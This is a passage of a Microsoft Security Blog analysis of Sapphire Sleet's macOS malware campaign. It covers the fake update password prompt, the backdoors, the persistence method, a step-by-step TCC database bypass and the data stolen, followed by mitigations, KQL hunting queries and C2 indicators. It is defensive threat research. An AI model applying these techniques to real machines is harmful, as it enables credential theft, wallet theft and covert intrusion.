After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath startswith "/Library/LaunchDaemons/"
 | where FileName startswith "com.google." or FileName startswith "com.apple."
 | where ActionType == "FileCreated"
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256

Malicious binary execution from suspicious paths

Search for execution of binaries from paths commonly used by Sapphire Sleet, including hidden Library directories, /private/tmp/, and user-specific Application Support folders.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FolderPath has_any (
     "Library/Services/services",
     "Application Support/iCloud/icloudz",
     "Library/Google/com.google.chromes.updaters",
     "/private/tmp/SystemUpdate/",
     "/private/tmp/SoftwareUpdate/",
     "com.apple.cli"
 )
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName, SHA256

Credential harvesting using dscl authentication check

Search for dscl -authonly commands used by the fake password dialog (systemupdate.app) to validate stolen credentials before exfiltration.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "dscl" or ProcessCommandLine has "dscl"
 | where ProcessCommandLine has "-authonly"
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Telegram Bot API exfiltration detection

Search for network connections to Telegram Bot API endpoints, used by this campaign to exfiltrate stolen credentials.

DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has "api.telegram.org" and RemoteUrl has "/bot"
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

Reflective code loading using NSCreateObjectFileImageFromMemory

Search for evidence of reflective Mach-O loading, the technique used by the icloudz backdoor to execute code in memory.

DeviceEvents
 | where Timestamp > ago(30d)
 | where ActionType has "NSCreateObjectFileImageFromMemory"
     or AdditionalFields has "NSCreateObjectFileImageFromMemory"
 | project Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, AdditionalFields

Suspicious caffeinate and sleep prevention activity

Search for caffeinate process stop-and-restart patterns used by the services and icloudz backdoors to prevent the system from sleeping during backdoor operations.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where ProcessCommandLine has "caffeinate"
 | where InitiatingProcessCommandLine has_any ("icloudz", "services", "chromes.updaters", "zsh -i")
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect known malicious file hashes

Search for the specific malicious file hashes associated with this Sapphire Sleet campaign across file events.

let malicious_hashes = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 DeviceFileEvents
 | where Timestamp > ago(30d)
 | where SHA256 in (malicious_hashes)
 | project Timestamp, DeviceId, DeviceName, FileName, FolderPath, SHA256, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine

Data staging and exfiltration activity

Search for ZIP archive creation in /tmp/ directories followed by curl uploads matching the staging-and-exfiltration pattern used for browser data, crypto wallets, Telegram sessions, SSH keys, and Apple Notes.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where (ProcessCommandLine has "zip" and ProcessCommandLine has "/tmp/")
     or (ProcessCommandLine has "curl" and ProcessCommandLine has_any ("tapp_", "ext_", "ldg_", "exds_", "hs_", "nt_", "lg_"))
 | project Timestamp, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Script Editor launching suspicious child processes

Search for Script Editor (the default handler for .scpt files) spawning curl, osascript, or shell commands—the initial execution vector in this campaign.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where InitiatingProcessFileName == "Script Editor" or InitiatingProcessCommandLine has "Script Editor"
 | where FileName has_any ("curl", "osascript", "sh", "bash", "zsh")
 | project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network indicators of compromise

The following query checks for connections to the Sapphire Sleet C2 domains and IP addresses across network session data:

let lookback = 30d;
 let ioc_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let ioc_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where TimeGenerated > ago(lookback)
 | where RemoteUrl has_any (ioc_domains) or RemoteIP in (ioc_ips)
 | summarize EventCount=count() by DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName

Detect file hash indicators of compromise

The following query searches for the known malicious file hashes associated with this campaign across file, process, and security event data:

let selectedTimestamp = datetime(2026-01-01T00:00:00.0000000Z);
 let FileSHA256 = dynamic([
     "2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419",
     "05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53",
     "5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7",
     "5e581f22f56883ee13358f73fabab00fcf9313a053210eb12ac18e66098346e5",
     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

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The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.